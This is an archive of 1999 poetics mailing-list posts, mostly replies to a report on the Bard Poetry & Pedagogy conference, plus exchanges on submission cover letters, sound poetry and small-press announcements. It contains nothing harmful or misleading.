I attended the Poetry & Pedagogy conference at Bard in late june 1999. I enjoyed myself despite the fact that I am not a teacher of writing and even found myself wondering a lot about how rhetoric or poetics i suppose i mean gets formed and polarized around poetry and how these battles are fairly important when it's really young minds (and less reputations & canon fodder) that are being thrown around. Here brain gue. There brain goo. The sense of people who work in trenches.

At other times i found myself thinking i am lucky not to have to continually come up with (job) watered down catch phrases to describe the poetry i like and dislike and otherwise don't care about and to have to publish "that" type of discourse as if my livelihood depended on it. This thought was a result of listening to a paper by Bob Perelman who gave an interesting list of bland sentences that come out of his mouth when "difficult" poetry is explained to a general undergraduate, graduate and/or hiring, tenure committee audience: "This is a standard academic narrative; the standard remedy is abbreviation."

* So that "To Elsie" of Spring & All becomes: "the conflict between democratic diction and high modernist innovation, with cars, immigration, gender and class mentioned."

* "Love Songs to Johannes" becomes: "path-breaking eroticism, perhaps with sidelong comparative glances thrown at The Waste Land and Edna St. Vincent Millay's sonnets."

* Tender Buttons becomes: "examples of a literary version of Cubist portraiture . . . as well as issues of domestic space and lesbian erotics vs. surveillance."

This problem was sort of enacted when the critic Lynn Keller delivered a paper, posing two models of reading/composition: centrifugal and centripetal. The centripetal model pulls everything in and is basically a closed text; centrifugal tends outward and is open. She further posed that Edward Hirsch's new book How to Read a Poem and Fall in Love with Poetry represented the closed model, then put up Joan Retallack's Icarus Falling as a model of the open. There was a break in the talk and Jackson Mac Low asked me to bring him his water bottle. Luckily I happened to be wearing a t-shirt that said i love the topaz man (with nipple enhanced picture of fabbio precursor) on the front and i love topaz romance books on the back. My shirt made an intervention at the conference that said Lynn, I don't think the opposition between centripetal and centrifugal is interesting, but your reading of Retallack is and seems like one of the few pedagogical moments of the conference.

Talking with Lynn after her paper I said I wish there hadn't been so many uncritical valorizations of the experimental/avant-garde. I don't remember what she said to that, but I do remember she said she was nervous about the off-campus education discussion (see below) because she wanted the classroom to be the central place for poetic work and discovery to take place. I told her I thought she was probably a good teacher.

In the afternoon it was often announced we could have juice and cookies in the foyer. It was at these moments where I felt myself to be squarely inhabiting America. American conferences don't serve alcohol until, at the earliest, "cocktail hour", but usually you have to wait until dinner. Compare this to France's 11:30 am "scotch time". Americans, as we learn from Ben Franklin's visit to English factories, should not drink ale at break time.

In American venues we also see the phenomenon of event packing in that there is no time between events to rest and, as Cecilia Vicuña reminded us, to heal the dendrites. She also reminded us that the siesta in Spain was going bye-bye due to the new euro. Certain types of work are best accomplished, and we need only look at American world domination to demonstrate this, when a pre-ordained schedule is executed according to plan, when the random elements are minimized.

That being said, there were a few moments of randomness and conscious attempts to bring this in to how poetry gets made, and here I am thinking of Bob Perelman's and Michael Davidson's comments regarding their off-campus education, that real learning about poetry takes place in bars and at readings and at informal talks in living rooms. There was a certain sense of nostalgia

about their comments, as if that off-campus culture they described was an infrequent visitor in their current lives, and for them I imagine the conference itself became a substitute for this lack. I myself went to the conference for this very reason. I knew some of my friends were going to be there. Well, I crashed the conference because my girl friend was one of the organizers.

It was during Perelman's talk, the "procedure" panel, that I asked about Bob's education (he thought I asked about "Bob's agitation") and whether he could describe some procedures for creating or being involved in off-campus poetry "scenes", as the few comments I had heard up to this point regarding this extra-curricular activity seemed to suggest that poetry was something that happened to oneself spontaneously upon entering a bar. He replied that talks and bars were good, but that it was hard work. Lyn Hejinian also said it was hard work. There's that word again.

Mytili Jagannathan mentioned Writer's House at UPENN as a place where that kind of randomness has been cultivated, and Louis Cabri made similar remarks towards the close of the conference, viz that if "you" have a physical space that can be brought to bear serially (get people to show up at) and, if you have some cash, things will take care of themselves. Juliana Spahr--while acknowledging the importance of the interesting things that have been emerging from Writer's House and how it seems to be at least partially responsible for hooking people up in Philadelphia and adding energy to the local communities (witness recent spilling out onto streets)--wanted to counter this landed model with a landless one, where books, mags, readings, exist as collaborative venues. Her point being not oppositional, but supplementary, in that there are not that many places in the world where enough people would actually go to a physical space on a regular basis so that the threshold level of erotic randomness that facilitates the exchange of poetic energy could be reached if not overcome. Actually, Juliana didn't say all that.

Aside from the papers and working groups and questions and answers, there were some good moments of on-campus late nite drinking (the Bard cops smile at you and seem to want you to have fun on their watch), a dinner with Robert Kelly who is fun in a naughty way, a trip to the swimming hole (quarry), and a party at Emilie Clark's house in whose yard a field of fireflies was busy tearing the veil off the continuous. Is such a display truly random?

There were also some excellent readings. I don't think I had the occasion to say to myself or to a friend behind closed doors "that" reading sucked, which is odd because there were 16 readings. The first nite we heard Michael Davidson, Harryette Mullen, Lyn Hejinian, Bob Perelman, & Ann Lauterbauch. The next day we heard Edwin Torres and Anne Tardos read and discuss their work. That nite, we heard Caroline Bergvall, Robert Kelley, Jena Osman, Joan Retallack,

Juliana Spahr and Cecilia Vicuña. Saturday afternoon we went to a very hot little chapel and heard Bernadette Mayer (she said tubecabra) and Jackson Mac Low (he said security strawberries), and at nite were treated to a sound painting conducted by Walter Thompson, with members of the conference making noises at the behest of his fingers.

As for the papers, I can't make the claim I made above. What I tended to find lacking in the papers were actual pedagogical procedures that could be re-used to illuminate "difficult" works in general and/or procedures that would pertain to particular works. I mean even I have some tricks I use when I'm invited to a poetry workshop to read my work and discuss. I just didn't come away from this conference with a sense of how these people do their jobs, their work.

Perhaps this was because I didn't attend the working groups, but rested dendrites instead. These working groups consisted of a leader guiding six to ten people thru various "peter elbow-like" reading and writing exercises using "difficult" source texts. The general feeling I got from people who did participate was that they were too tired to really put any energy into it and thus did not enjoy it and did not learn. My unscholarly opinion is that it might have been more interesting to have made the working groups the focus of the conference, rather than the papers. That said, I was happy to have attended Poetry & Pedagogy: The Challenge of the Contemporary: a four-day symposium in the form of a collaborative investigation, as I had fun with friends and met some interesting people.

love,

Bill

↑ Index

79. Herb Levy
Re: poetry in RealAudio
Fri 9 Jul 1999

Days ago, Taylor Brady wrote:

> *For those who haven't previously encountered it, by the way, I highly recommend the Zorn, which also has a text by Myung Mi Kim narrated by Jung Hee Shin with a percussion duo played by Joey Baron and Sam Bennett; and a text by Arto Lindsay narrated by Zhang Jinglin with guitar duo played by Bill Frisell and Fred Frith.*

All true, though poetics list folks should be aware that, just as the Hejinian text is heard in a translation into Vietnamese, the Kim and Lindsay texts are spoken in Korean & Chinese respectively. (& no, Kim did not do her own translation.)

Herb Levy
[redacted]

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80. Michael Magee
Re: bard conf
Fri 9 Jul 1999

Bill, thanks for these interesting riffs on the Bard conference. I've written a few comments below which I thought might interest some folks on the list. -m.

According to [redacted]:
>
> At other times i found myself thinking i am lucky not to have to continually
> come up with (job) watered down catch phrases to describe the poetry i like
> and dislike and otherwise don't care about and to have to publish "that" type
> of discourse as if my livelihood depended on it. This thought was a result
> of listening to a paper by Bob Perelman who gave an interesting list of bland
> sentences that come out of his mouth when "difficult" poetry is explained to
> a general undergraduate, graduate and/or hiring, tenure committee
audience:
> "This is a standard academic narrative; the standard remedy is abbreviation."
>
> * So that "To Elsie" of Spring & All becomes: "the conflict between
> democratic diction and high modernist innovation, with cars, immigration,
> gender and class mentioned."
>
> * "Love Songs to Johannes" becomes: "path-breaking eroticism, perhaps
> with sidelong comparative glances thrown at The Waste Land and Edna St.
> Vincent Millay's sonnets."
>
> * Tender Buttons becomes: "examples of a literary version of Cubist
> portraiture . . . as well as issues of domestic space and lesbian erotics vs.
> surveillance."
>

This is just a pot shot, isn't it Bill? There's seems to be an odd compulsion to throw tomatoes whenever Bob arrives in New York despite (or because of?) the obvious debts owed by many of the hurlers. Do you actually disagree with any of these "bland sentences which come out of his mouth"? Or are you merely lamenting that the context of a conference tends to short circuit more complex exchanges? I can say from my own experiences that Bob has had many such complex exchanges involving all these texts, quite illuminating exchanges really

- "Love Songs to Johannes" was the subject of half-a-day's conversation with some grads and undergrads at his place, informally, over bagels and coffee. The point being that pithy sentences are sometimes just annotations of extended thought and conversation - not the markers of institutional conspiracy.

I'm glad you asked Bob about his off-campus education - and while I wouldn't be surprised if there was a hint of nostalgia in the discussion of the "good old days" I can also say that he's been energized and instrumental in creating that atmosphere at the Philly Writers House which Mytili Jagannathan and Louis Cabri mentioned at Bard and which you mention below. I can say also, that Juliana's "landless model" of poetic community is relevant to the Writers House as well - having moved to Rhode Island, it's the model of my current relationship with the House, and it works pretty well - keeping in touch and active through various email listservs, through publications like PhillyTalks, CrossConnect and Combo, and through the occasional trip down for readings attended, sponsored or given. Anyway, thought I'd put in 2 cents. I hope others will agree that the agon between young and old (or for that matter between academic and non-academic) is a pretty tired model for interaction between and among artists. Certainly in Bob's case it breaks down on every level.

-m.

> *That being said, there were a few moments of randomness and conscious attempts to bring this in to how poetry gets made, and here I am thinking of Bob Perelman's and Michael Davidson's comments regarding their off-campus education, that real learning about poetry takes place in bars and at readings and at informal talks in living rooms. There was a certain sense of nostalgia about their comments, as if that off-campus culture they described was an infrequent visitor in their current lives, and for them I imagine the conference itself became a substitute for this lack. I myself went to the conference for this very reason. I knew some of my friends were going to be there. Well, I crashed the conference because my girl friend was one of the organizers.*
>
> *It was during Perelman's talk, the "procedure" panel, that I asked about Bob's education (he thought I asked about "Bob's agitation") and whether he could describe some procedures for creating or being involved in off-campus poetry "scenes", as the few comments I had heard up to this point regarding this extra-curricular activity seemed to suggest that poetry was something that happened to oneself spontaneously upon entering a bar. He replied that talks and bars were good, but that it was hard work. Lyn Hejinian also said it was hard work. There's that word again.*
>
> *Mytili Jagannathan mentioned Writer's House at UPENN as a place where that kind of randomness has been cultivated, and Louis Cabri made similar remarks*

> *towards the close of the conference, viz that if "you" have a physical space that can be brought to bear serially (get people to show up at) and, if you have some cash, things will take care of themselves. Juliana Spahr--while acknowledging the importance of the interesting things that have been emerging from Writer's House and how it seems to be at least partially responsible for hooking people up in Philadelphia and adding energy to the local communities (witness recent spilling out onto streets)--wanted to counter this landed model with a landless one, where books, mags, readings, exist as collaborative venues. Her point being not oppositional, but supplementary, in that there are not that many places in the world where enough people would actually go to a physical space on a regular basis so that the threshold level of erotic randomness that facilitates the exchange of poetic energy could be reached if not overcome. Actually, Juliana didn't say all that.*
>
> *love,*
>
> *Bill*

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81. Christopher Reiner

Re: Trane DeVore

Fri 9 Jul 1999

For anyone interested, there are excerpts from Trane's book, along with an audio file, at the Avec Books web site: http://www.litpress.com/avec

(I've just recently changed all the audio files at the site to QuickTime 3 format because of the improved compression; but if you have trouble with them, please let me know.)

--Chris

--

Christopher Reiner
Editor and Publisher
WITZ: A Journal of Contemporary Poetics
http://www.litpress.com/witz/

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82. Stephen Vincent
Bill who?
Fri 9 Jul 1999

Dear Bill: (Bill who?) I liked your Bard letter to Katy. It sounded like a fun place to be, or your take on it was fun. "Lacademia" is a pun that comes to mind. But I do think the fights and progressions in bars & independent venues like the old Langton Arts talks of which Bob Perleman was central, and now Small Press Traffic (here in San Francisco) usually become most valuable after the college or University. It's maybe a post-Doc or a pre-Doc while first books and magazines begin to emerge. Then there is the phenomenon of getting older (& otherwise obligated) in which it takes great strength to survive as a poet and to create supportive groups outside academia (otherwise an isolation reappears, which is perhaps not too much different from adolescence). On the other hand, those of us outside watch those within academia struggle to not get their creative identities smothered or caricatured by the very institutional and student support that provides a professional life and public identity as a poet. Indeed institutions might mean another kind of isolation. Some clearly rise with it and some fall. But that's true outside, as well. By all accounts poetry is a problematic and curious career choice!

Fortunately I sense the Net creates a new public space for the poet and the work, the value and significance of which is still defining itself. John Tranter, the editor of Jacket, says the magazine site has received over a 100,000 visits (not "hits"). Given that most poetry books from small presses rarely sell more than 500 copies, that's a revolution. What it means as a transformation of readership and community, I wonder. Pound, in the hey day of the Cantos, thought 500 good readers was as much as he could expect, in fact, I believe, from his place on the mountain, that was all he required. Five good listeners and readers around a table in a local bar can be very good company. It's nice (for me) to imagine a community that mixes the local, the academic and the net. Each of these sites an ongoing intervention on the others (T-shirts included).

Again, thanks for publicly sharing your letter.

Cheers, Stephen Vincent

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83. Safdie Joseph
Re: bard conf
Fri 9 Jul 1999

An interesting synchronicital (?) conflation of the recent posts by Bill Luoma and Kevin Magee:

I had two pals who attended the Bard Conference, one presenter not mentioned by Bill, Page du Bois (who gave a talk on one page of Alice Notley's "Descent of Alette") and her husband, the poet and lawyer John Daley.

John had the experience of being in a seminar where a professor from one of the University of California campuses was droning on about the various levels of meaning in a poem. After about twenty minutes or so, and at a pause in the recital, Bernadette asked "Are you rich?"

Working hard and staying out of bars,

Joe Safdie

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84. Aldon Nielsen
INFO: sherley anne williams
Fri 9 Jul 1999

>From: [redacted]
>Date: Fri, 9 Jul 1999 10:33:08 EDT
>Subject: INFO: sherley anne williams
>To: [redacted]
>
>drummers,
>
>this is passed on via cybredrummer kate rushin up in the northeast. cancer
>claims another warrior. please do not take your health for granted.
>
>stay strong/be bold
>a luta continua
>
>kalamu
>==========
>Dear Kalamu and cyberdrummers,
>
>It is with great sadness that I write of the passing of Sister Professor
>Shereley Anne Williams. The following is the letter sent by Lucinda Rubio
>to those of us who participated in a conference held in her honor at UCSD
>last year and organized by Ann duCille. I encourage everyone to read her
>work and teach it, pass it on when possible. (I always teach Dessa Rose to
>talk about slavery times.) This is all I can say for now...Blessings on
>Sister Williams and her Loved Ones. Ache
>Kate Rushin
>

>
>
>
>
>
>Dear Friends,
>
>A year ago, you joined in celebrating the life and work of Sherley Anne
>Williams. I am deeply saddened to tell you that Sherley Anne passed away
>Tuesday afternoon, July 6, after a courageous, three-month struggle with
>cancer. Sherley and I had numerous conversations over the past year about
>what the conference meant to her: how touched and inspired she was by the
>interest in her work. Indeed, she had begun plotting a sequel to DESSA
>ROSE. Yesterday, as Sherley slipped away, I imaged her going off to meet
>Dessa--in another country.
>
>I am attaching below remarks from Lisa Lowe, Chair of the department of
>which Sherley Anne Williams was a member for over twenty-five years.
>
>Sherley Anne Williams was a charismatic and inspirational teacher,
>nationally and internationally recognized as a writer of fiction, drama,
>and poetry. Her books of poetry, THE PEACOCK POEMS (1975) and
SOMEONE
>SWEET ANGEL CHILE (1982) established her as an outstanding American
poet.
Her
>novel DESSA ROSE (1986), translated into German, Dutch, French and
>reprinted in a British edition, accorded her a place of prestige as a
>novelist in African American literature. She also wrote two children's
>books, WORKING COTTON (1992) and the recently published GIRLS
TOGETHER.
>
>Sherley Anne Williams has been a most important presence among us, as a
>colleague, creative writer, friend, and former department chair. She is
>mourned and will be dearly remembered.
>
>Happily, when she was still well, Sherley was able to enjoy the conference
>"Black Women Writers and the 'High' Art of Afro-American Letters," held
>last May in honor of the twelfth anniversary of DESSA ROSE's publication.
>At that time, the profound impact of the novel and her life work was
>reflected in presentations by the most eminent scholars of African American
>literature, and in evidence in the attendance and vigorous participation of

>our extended community.
>
>Ann duCille
>

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85. Thomas Bell
Re: PW & meditation on meditatives
Fri 9 Jul 1999

I am finding on this reading of PW a multi-layered meditation on the way the mind works in meditation and reading and writing poetry - also the way the body responds. Simply put (or oversimplified) meditation is not what you meditate on but how you (or the poet or the "non-self" in both zen and postmodern senses). For me this adds a whole new ?dimension? to lyric, beat, process, and/or language readings, possibly seen as a precurser to web based or hypertext poetry (acknowledgement here to Leslie Scalapino's intro).

tom bell

Mark Prejsnar/Erika Stephens wrote:
>
> would welcome comments about PW.
> >to my view, there's a meditative, discursive breed of poetry that includes
> >um

--
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
 LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

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86. Jamie Perez
Re: Sound Poetry
Fri 9 Jul 1999

---

is there any useful distinction between Sound Poetry and either Scat or just plain Vocal Music?

please enlighten me/us. anyone

jamie.p

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87. Joe Ahearn
VEER magazine online
Fri 9 Jul 1999

Dear Poetics Folk,

You may be interested to know that VEER: New Verse is now online at www.rancho-loco-press.com/veer.

VEER is an electronic journal of experimental and contemporary literature published by the editors of Rancho Loco Press.

Issue Number 1 contains translations of Paul Celan and Aristoteles Espana by Dean Rader, and original poetry by Cindy Boseley, Jonathan Brannen, Tim Cloward, William Dickey, Ilex Fenusova, Sheila E. Murphy, Seamus M. Murphy, Kaya Oakes, James Michael Robbins, Len Sanazaro, Ron Silliman, and Christopher Soden.

Issue Number 1 also contains the first VEER electronic chapbook, Ions by Brian Clements, a hyperpoem in 44 sections.

VEER welcomes your readership, your correspondence, and your submissions. Please reference the following URLs:

www.rancho-loco-press.com Rancho Loco Press homepage (contain links to VEER) www.rancho-loco-press.com/veer Direct link to VEER Number 1

Please be sure to review the information in "About VEER" before submitting.

Please circulate this flyer.

Best wishes,
Joe Ahearn

VEER: New Verse
Rancho Loco Press
e'mail: [redacted]
URLs: www.rancho-loco-press.com, www.rancho-loco-press.com/veer

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88. David Baratier
New Angel for the devil in us all
Fri 9 Jul 1999

Considering the conversation, I dug Tom Clark's New Angel from the barn when I was down in Portsmouth this weekend.

Printed December 1986 by Bloody Twin Press

Three Poems, three fold folio, slight rag paper edge, two color handset type, includes raised illustration by Tom Clark of what looks to be Phillip Whalen in starry landscape. Limited edition. 5 left. Or put it off and receive one with an extra-special, unique, wren's rorschach on cover.

Good to frame, holds a mean coffee stain in monster truck speed. $10P/P for individuals mentioning the poetics list.

Pavement Saw Press
PO Box 6291
Columbus, OH 43206

Be well

David Baratier

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89. Kevin Magee
Re: RACE & CLASS
Fri 12 Mar 1999

This is just a bibliographical note, but I didn't want to not notice a note on DNA several days back and it brought to mind quite a long posting to this list on the subject when I first joined, something about the pseudo-scientific junk being passed off as research in certain U.S. academic circles. This was news to me, as is Jack Barnes' answer to a worker's question about THE BELL CURVE in the transcript of a Talk included in CAPITALISM'S WORLD DISORDER: WORKING CLASS POLITICS AT THE MILLENIUM (Ed. Steve Clark, Pathfinder Press, NY, 1999). Here's the question and some of the answer:

"Comment: You had some things to say earlier today about Yale economists. I wonder what your opinion is of the Harvard professors who came up with THE BELL CURVE. I'm especially interested in why it is that THE BELL CURVE has made such a splash in the public debate in the media. Why is it every decade or so, it seems, this theory of genetically determined intellectual superiority or racial superiority gets regurgitated and debated and debunked, and then comes back in another form?

Response: If my memory serves me right, I think only one of the authors--Richard Hernrnstein--was a Harvard professor; he just died. I think Murray is currently hired by one of the reactionary think tanks in Washington, D.C.--the American Enterprise Institute. [One page content paraphrase]. Now let's say it another way: We're rich. We're rich because we're smart. You can tell we're smart because we're rich. Because we're smart and rich, our kids are

smart, and are going to be rich too. But there are a lot of people who aren't getting rich, and they can't seem to accept the fact that this is simply because their forebears were dumb. The liberals--those who are rich and those who aren't--know this and live by it, but are embarrassed to say so. Most people, however, mistakenly think there is some connection between what we're doing to get rich and their own deteriorating quality of life. We're getting more isolated in that sense, and a little nervous about anyone wanting to take our privileges away. But we want to enjoy being rich. There is nothing to feel guilty about. We're rich because we're smart. That is about the long and short of it. Then the book ends up with some proposals about what to do with all of us "at the bottom end of the cognitive ability distribution"--orphanages and so on, some of the things we have discussed already. If we can "face reality about the underclass," the book says, then we can provide "the opportunity for everyone, not just the lucky ones, to live a satisfying life." That is, you can learn to like being poor (or to be made to pretend to like it). But this is only possible, the book says, if we get rid of all the social programs and legislation that fly in the face of accepting this reality, such as the minimum wage; affirmative action; more money for public education ("For many people, there is nothing they can learn that will repay the cost of the teaching"--my favorite sentence in the book); the extension of Social Security protections; welfare payments; and so on. The book is a retread of discredited views, but not primarily pseudoscientific ones about IQ, genetics, and so on. It has that too, but that is not the main point. The book is subtitled, "Intelligence and Class Structure in American Life" That is what it is about. It is about social class above all, more than it is about race."

I don't submit this quotation as definitive on the subject, but more as a directional mark towards a book by the National Secretary of the Socialist Workers Party whose first chapter is titled: A SEA CHANGE IN WORKING CLASS POLITICS. These are talks, not writings. "A transcript of speech acts that for the most part come out of another language often conveniently designated as occupying a position of power, a definition that serves to consign the language of politics to a force (ideology) whose nature it is to dominate, if not destroy, the materiality of signs, and helps to construct an opposition between the Political and Poetical harmful to both languages, isolating them in an opposition that would seem to derive from the private reading of revolutionary writings relegated to the library (the dustbin of history), and not the experience of politics and the Political Imaginary in all the fragility and provisionality of its articulation by participants, activists whose inflections have helped here, at least, to locate a series or set of lyric gestures." [CHAIN / 3 vol. 2, p. 140].

By way of acknowledgment, it is probably as good a time as any to mention that the source-words for "FEBRUARY 24, 1991" in THE ROAD TO BASRA suite of poems that appeared in CONJUNCTIONS 30 come from a speech by Jack Barnes given in Cleveland shortly after the Iraq bombing campaign though I wrote them out of the transcript that appears in the SWP's theoretical journal, NEW INTERNATIONAL (they broke with the Fourth International in the 70's I think, at the time of their 'turn' back to the industrial unions). My second book, RECENT EVENTS, simply cannot be read without taking into account the documentary lyricism which records my contact and involvement and sincere admiration for the union militants I met in Iowa at the time of the meatpacking strikewave in 1986-88. Many of the folks named in that book are still active leaders, like Nan Bailey and Betsy Stone.

Finally, who is Jack Barnes? You can look at an early, perhaps the first, SNAPSHOT of him in THE LIFE AND PHILOSOPHY OF MALCOLM X (ed. Sande Smith, Bromptom Books Corp., 1993), p. 61. A youth, four chairs in from the aisle, sitting in the front row of a packed auditorium on June 24, 1964--the day Malcolm announced the forming of the Organization of African American Unity. I found this photograph by accident, in a book among a number of books about African American history and politics on Albertine Boclear's bookshelf.

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90. Alan Sondheim

The Opening

Fri 9 Jul 1999

)\

The Opening

My arms circle Azure, if she lets me. I may walk around her, if she is standing still, sitting in a chair, and she may let me speak to her, her speaking in return, as words shadow and foreshadow the indolent air of dusk. Lights glimmer in the distant, her red-brown hair outlined ever so faintly in the gathering dark. I have no control over the liquidity of phrase and subject; saying spreads like eddies across the sky. Azure, I say, her name like tendrils upon the wall of time, I want to, to describe, how words lengthen in the air, and how, in cyberspace, they remain commit- ted to the line, no matter the depths of revelation. I want to show how the lines or paragraphs become lines or paragraphs, huddle and tumble upon one another, and how, in real life, the world is filled with gaps, with longing, how the world in real life is always already a world of longing. Of projects unfulfilled, Azure says, and I say not even projects, not even unfulfilled, but of the laziness of longing, the waiting that has no goal, the murmurs of voices close upon the evening air. How life is always a yearning, how the planet

yearns, how waiting need not involve expectancy, but only a loving silence, how we need to learn, to listen to that sil- ence.

Nikuko, Julu, Alan, Jennifer, recede into the shadows. They too have wait- ed, but their words are huddled, their time always timed or in lag, a slightly darker sky surrounding them. They cannot hear the sounds of tree- frogs, and fireflies remains descriptions of dreams they have been given. The world returns to Azure, Alan, and

Her arms encircle Alan, if he lets her, their faces round as moons.

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91. Brian Lennon

How to get published (was: unsolicited mss letters ?)

Fri 9 Jul 1999

I too have been annoyed to receive submissions bundled with little press packages that either distract from the submitted work or else just about scream the writer's ignorance of literary magazines. Lists of prizes get my goat, especially when they include "honorable mention" "So-and-so advised me to send you this" is another. And so on: it makes me want to draft a lawyerly document brimming with specific guidelines.

But the "what editors prefer" approach, it seems to me, is part of the problem---since it turns *sharing* work into *scoring with* it, and applies conformist pressure to a submission pool. If you want to join a club, then buy all the back issues, find out what editors love and hate, and then market yourself accordingly. If you want to write what you want to write, then go ahead---cover letter or no, CV or no, lifetime subscriber or no, list of publications or no, personal contact or no, part of the community or no. Any vital publication values surprise, for which no one need be wearing the right shoes.

Brian Lennon

> *Hello Poeticists -*
> *At "overland" we get about 250 unsolicited poems every six weeks. I've been the poetry editor for a couple of years now and would really discourage any prospective publishee from sending a curriculum vitae with their submissions. I read the POEMS - not the track record.*
> *Best,*
> *Pam Brown*
> *--- Todd Baron /*/ ReMap Readers*
> *<[redacted]> wrote:*

> *David Erben (Art) wrote:*
>
> *Can anyone tell me what the "typical" letter*
> *accompanying an unsolicited*
> *submission should look like?*
>
> *THere should be none. A writer should only submit*
> *work to publications*
> *s/he is reading and familiar with. Thus, the letter*
> *is not an attempt to*
> *get one's work "in print" but rather a statement of*
> *desire to enter into*
> *the dialogue the publication seeks to engage. At*
> *ReMap we get a hundred*
> *(yup!) submissions a year from folks who are not*
> *familiar with ReMap.*
> *This is obvious from the "generic" letters that*
> *accompany the work. As*
> *we struggle to stay in print ($) and (readers) we*
> *simply send this work*
> *back--. We're not trying to publish only those poets*
> *we know--but we do*
> *struggle to publish the poets who know the magazine.*
>
> *Todd Baron*
>
> *===*
> *Web site/P.Brown - http://www.geocities.com/SoHo/Workshop/7629/*
>
> *Do You Yahoo!?*
> *Get your free @yahoo.com address at http://mail.yahoo.com*

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92. John Tranter
dis guises ?
Sat 10 Jul 1999

Who is this person who calls him/herself

"[redacted]"

and signs his/her letters

"Bill"

Is there an actual human person there?
This contributor's notes on the Bard conference were very interesting.

JT

fully signed as follows:

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted] Editor, Jacket magazine:
http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at
http://www.alm.aust.com/~tranterj/index.html

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93. rebecca wolff

Re: unsolicited mss letters

Sat 10 Jul 1999

Yes,

at Fence we get about 30 unsolicited mss a week.

I think it's relevant to note that if we had as many subscribers as we have submitters--or even half as many--we'd be golden. We'd be in heaven. I do believe that the discrepancy between the two constituencies (subscribers and submitters) causes many editors to throw up their hands in chagrin at times.

The best cover letter is:

brief, as in, two very short paragraphs. One paragraph says where you saw/read/purchased whichever lovely journal is in question and what there is about the journal that made you want to be included in its pages (stroke the editors and show them that you've really considered the journal); the next gives a short list of other publications and/or honors.

No point mentioning:

where you went to school, who you studied with, your own opinion of your work and what your work is attempting/approaching/essaying.

I second the caution against including a vita or a pre-printed list of the journals your work has appeared in. It just goes straight into the recycling bin.

Thanks for giving me this opportunity.

↑ Index

94. Ron Silliman
Re: Bill who?
Sat 10 Jul 1999

Bill is Mister William Luoma,
one of the better second basemen of our day.

And I want to second what Mr. Magee says of Philly.
Plus with sites like Highwire Gallery, Giovanni's Room
(where Sam'l R. Delaney is reading the day after I leave
for Nova Scotia!?! at the end of this month).

But that nostalgia people have referred to is I think also for a more uncomplicated social space in which one could make one's mistakes in something akin to private. It was all pretty heady in the old days when Steve Vincent would think to call up the Grand Piano Coffee House to announce the birth, minutes before, of his child (no doubt all grown up by now!).

Ron

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

↑ Index

95. Hannah J Sassaman
Re: unsolicited mss letters
Sat 10 Jul 1999

Poetics Folks,

At CrossConnect, we have a slightly different system for weeding out those who are interested in sending their manunscripts blind to every yutz with an email address and those who are putting any small amount of thought into what they are sending and to whom they are sending it. As we are primarily an electronic magazine, we force those who are first. I would say that we get about 5-7 requests for guidelines per day. Even these are loaded with 1) compliments to the magazine, 2) attempts to make the requestee look quirky and interesting, 3) previous publication credits. When I reply to these requests, unless the person requesting the guidelines has asked me a specigfic question in the body of his/her email that isn't answered in those guidelines, I don't personalize the cut-and-pasted form-letter guidelines at all. Our guidelines are *very thorough*, meaning they take longer than the average MTV-attention-span to read. If we receive a submission from someone who has not been sent a copy of the guidelines, we do not accept it (every request for guidelines is saved and checked with every submission). If we receive a submission that is not formatted according to the guidelines (we specifically request ASCII text for

email submissions, many people send us attatchments or formatted files), we do not accept it. This process, in the 14 months I have been associated with the magazine, has simplified my life considerably, and also guaranteed a high quality of submissions. If any of you out there are considering accepting email submissions, please contact me to discuss these topics further.

Hannah

****

Hannah Jane Sassaman
[redacted]

Poetry Editor, CrossConnect Magazine
http://ccat.sas.upenn.edu/xconnect

Talk not of wasted affection; affection never was wasted.
-- Henry Wadsworth Longfellow

↑ Index

96. **Mark Weiss**
Re: unsolicited mss letters
Sat 10 Jul 1999

> *I second the caution against including a vita or a pre-printed list of the journals your work has appeared in. It just goes straight into the recycling bin.*

One of the essential tools of the publisher ought to be a cheap shredder--turns resentment to pleasure and produces non-polluting packing materials at the same time.

↑ Index

97. **Stephen Vincent**
Re: Bill who?
Sat 10 Jul 1999

Ron Silliman writes:

<< But that nostalgia people have referred to is I think also for a more uncomplicated social space in which one could make one's mistakes in something akin to private. It was all pretty heady in the old days when Steve Vincent would think to call up the Grand Piano Coffee House to announce the birth, minutes before, of his child (no doubt all grown up by now)!.
>>

The proud father still speaks. Lucas, the son, now 22 went on to win San Francisco's all City High School Poetry Contest (a hip-narrative jam judged as best by Adrienne Rich!) That was before he dropped out to pursue his other love, nocturnal painting, or what were occasionally revealed to Dad by day as "pieces" (murals) on the sides of buildings, freeway signs, or abandoned tunnels (studio practice). Dad survived that, and now it looks like Lucas is finally headed off to art school. "Research done in advance," he says. Speaking of the relevance of institutions, I look forward to him having both professors and a new camaraderie of peers. And who knows (the concerned
father says) maybe a career in the biz!

Cheers,
Stephen Vincent

↑ Index

98. Carol L. Hamshaw

Re: Carnivocal: A Celebration of Sound Poetry / Edited by StephenScobie & Douglas Barbour

Sat 10 Jul 1999

The Capilano Review published a special issue on sound poetry, focusing on The Four Horsemen, back in the 70's. Several copies are available, for $5 ($3 U.S.)

2055 Purcell Way
North Vancouver, BC
V7J 3H5 Canada
[redacted]

pete spence wrote:

> *The Sound Poetry CD, Carnivocal, and Doug Barbour say: "Sound poetry is the celebration of all the*
> *expressive possibilities of the human voice."*
>
> *Sound poetry dates back at least to the experiments of the Dada poets such as Kurt Schwitters and Hugo Ball. In Canada, it has been string since the 1960s, when bp Nichol and bill bissett began exploring and reinventing its traditions. In the 1990s, a new generation of sound poets has revitalized the \ tradition Ann Lauterbach*

--
Carol L. Hamshaw
Administrator

Edgewise ElectroLit Centre
http://www.edgewisecafe.org

↑ Index

99. **Lowther,John**
Re: Sound Poetry
Sat 10 Jul 1999

---

jamie

a useful distinction
wd imply some use

what use wd you have for it?

a guy walks into a record store
says "i want some scat on CD"
you ask what he has already
"louis armstrong"

you make a useful distinction

and don't hand him this
tantalizing canadian sound poetry CD
that we've all just heard about

but that's not the sort
of distinction you want
i'm betting

so again, what use is this
distinction for you ?

are you in effect saying
that you see little meaningful difference
between the things you mention ?

curious

)L

> *-----Original Message-----*
